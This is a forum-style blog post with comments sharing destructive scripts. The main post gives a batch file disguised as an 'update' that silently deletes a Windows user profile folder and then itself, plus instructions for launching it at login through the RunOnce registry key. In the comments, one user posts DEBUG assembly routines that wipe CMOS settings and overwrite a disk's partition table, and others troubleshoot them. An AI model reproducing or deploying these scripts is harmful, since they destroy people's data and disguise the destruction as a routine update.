"It's called destroying the evidence!"

[jecook]

Because a few people asked for it.

!!!WARNING!!! This script deletes data without the possibility of easy recovery. No warrenty provided. Use at your own risk, I'm not responsible for your stupidity. Keep limbs inside ride at all time. Do not taunt HappyFunBall. The Computer is your Friend.

To run it on login, you'll need to add a registry entry pointing to the batch file in:
Hkey\Users\[sid]\Software\Microsoft\Windows\Runonce
create a new String Value, call it whatever you want, and put the path to the batch file in for the data. It'll run once (like the reg key states) and be removed afterwards. Seeing as program install updates this way sometimes, It's a useful thing to exploit.

Look under HKLM\SOFTWARE\Microsoft\Windows NT\Current Version\ProfileList and find the Administrator account to match the SID to user.

Of course, the profile has to already exist first... ;)

For domain situations, you'd be best advised to park it under the domain administrator, if you have access to it. Otherwise, local Administrator will do fine. It's pretty obvious what it does. It also deletes itself after it's done... ::snicker::

It runs under the guise of "Updating files", which some programs actaully spawn a DOS window to do.

Removing the "pause command (or commenting it out) removes the wimp option.

"update.cmd"
---
@ Echo off
@echo Ready to Update Files.
pause
@echo Updating... Please wait...
c:
cd \
cd "Documents and Settings"
rmdir /s /q username
@ Echo Update Complete.
cd [wherever you created the file. I'd recommend parking it somewhere under a directory]
erase update.cmd

Comments

[madd-trinity.livejournal.com]

LOL...to the happyfunball comment.

[samwize.livejournal.com]

Not bad. Of course, if you want to pull out the BIG guns, you can write a script using debug. (If you've never checked it out, debug is HEAVY with power. It'll let you do all kindsof crazy stuff, provided you don't mind a user interface that makes the medievil Cabalists look downright simpleminded). WARNING: HERE THERE BE DRAGONS. IF YOU RUN THESE AND YOU SCREW UP, YOU HAVE ONLY YOURSELF TO BLAME. WITH GREAT POWER COMES GREAT RESPONSIBILITY. For instance, this will kill everything in a CMOS, like a setup password you "forgot":

A
MOV AX,0
MOV AX,CX
OUT 70,AL
MOV AX,0
OUT 71,AL
INC CX
CMP CX,100
JB 103
INT 20
Note: Nothing is typed on this line
G
Q

Or, here's one I call "The Nuke". It erases partition tables:

A:\>debug
-F 200 L1000 0
-A CS:100
xxxx:0100 MOV AX,301
xxxx:0103 MOV BX,200
xxxx:0106 MOV CX,1
xxxx:0109 MOV DX,80

(80 for hd 0 or 81 for hd 1 )

xxxx:010C INT 13
xxxx:010E INT 20
xxxx:0110
-g
Program terminated normally
-q

Have fun, kids.

[thebutler.livejournal.com]

Unfortunately, these won't work under NT-based OSes, as they don't allow direct access to the hardware. If you're still running 9x, or you boot from a DOS disk, then you're sorted... but that's less fun.

The first one claims to run successfully, but has no effect. OUT is a privileged instructions on modern x86 machines, so I'd have expected it to die with the 16-bit equivalent of an illegal instruction exception.

The second one gives the following:
"An application has attempted to directly access the hard disk, which cannot be supported. This may cause the application to function incorrectly. Chose 'Close' to terminate the application."

These were tested under Win2k, as both a normal user and as an administrator.

[samwize.livejournal.com]

Did you try with User debug privs turned on? It's a (computer policy, not a user policy as many would suspect) Worked fine on my test XP SP2 machines.

[thebutler.livejournal.com]

Hrm, I'd expect that the admin accounts would have that anyway... I'll go give it a shot, though.

If you mean the "Debug Programs" priv, then yes, that is switched on for the admin accounts.

[samwize.livejournal.com]

Hmm... Do you maybe have a custom HAL? Dunno what to tell you. Like I said, it works fine on my test machine (ie, the xp machine I keep around specifically to kick in the beans and see what breaks).

And yeah, I meant the Debug Programs user right under security policies, which often _isn't_ set for anyone by default.

Will it work for you if you give yourself the "Act as part of the operating system" right?

[thebutler.livejournal.com]

It's s a plain Win2K install, running SP4. I don't have an XP CD kicking around right now, but I'll give it a shot on XP as soon as I can pick one up from uni. This one has me intrigued.

I just granted that priv to the local Administrator, and tried them both again - same results.

Personally, I'm suprised it works for you at all - direct access to the hardware is supposed to be blocked for anything not running in kernel mode, which should rule out the first one... and the INT instructions in the second should trap to NT anyway, which again should block it.

[samwize.livejournal.com]

Damn. Maybe my machine got rootkitted... Only thing I figure. I haven't even had it on the net much and am pretty scrupulous about spyware.

[normal1.livejournal.com]

Wheeee! - why are you guys posting this? just wondering.

[samwize.livejournal.com]

Probably the date...

[jecook]

Nope. some one in an earlirer post wanted to see the cheesy "exit strategy" script...

[gnostalgia.livejournal.com]

One small enhancement:

A very very few folks may not have their profiles stored on c:...if you checked for the %userprofile% path, that would catch the clever folks, too.

Erm. In theory.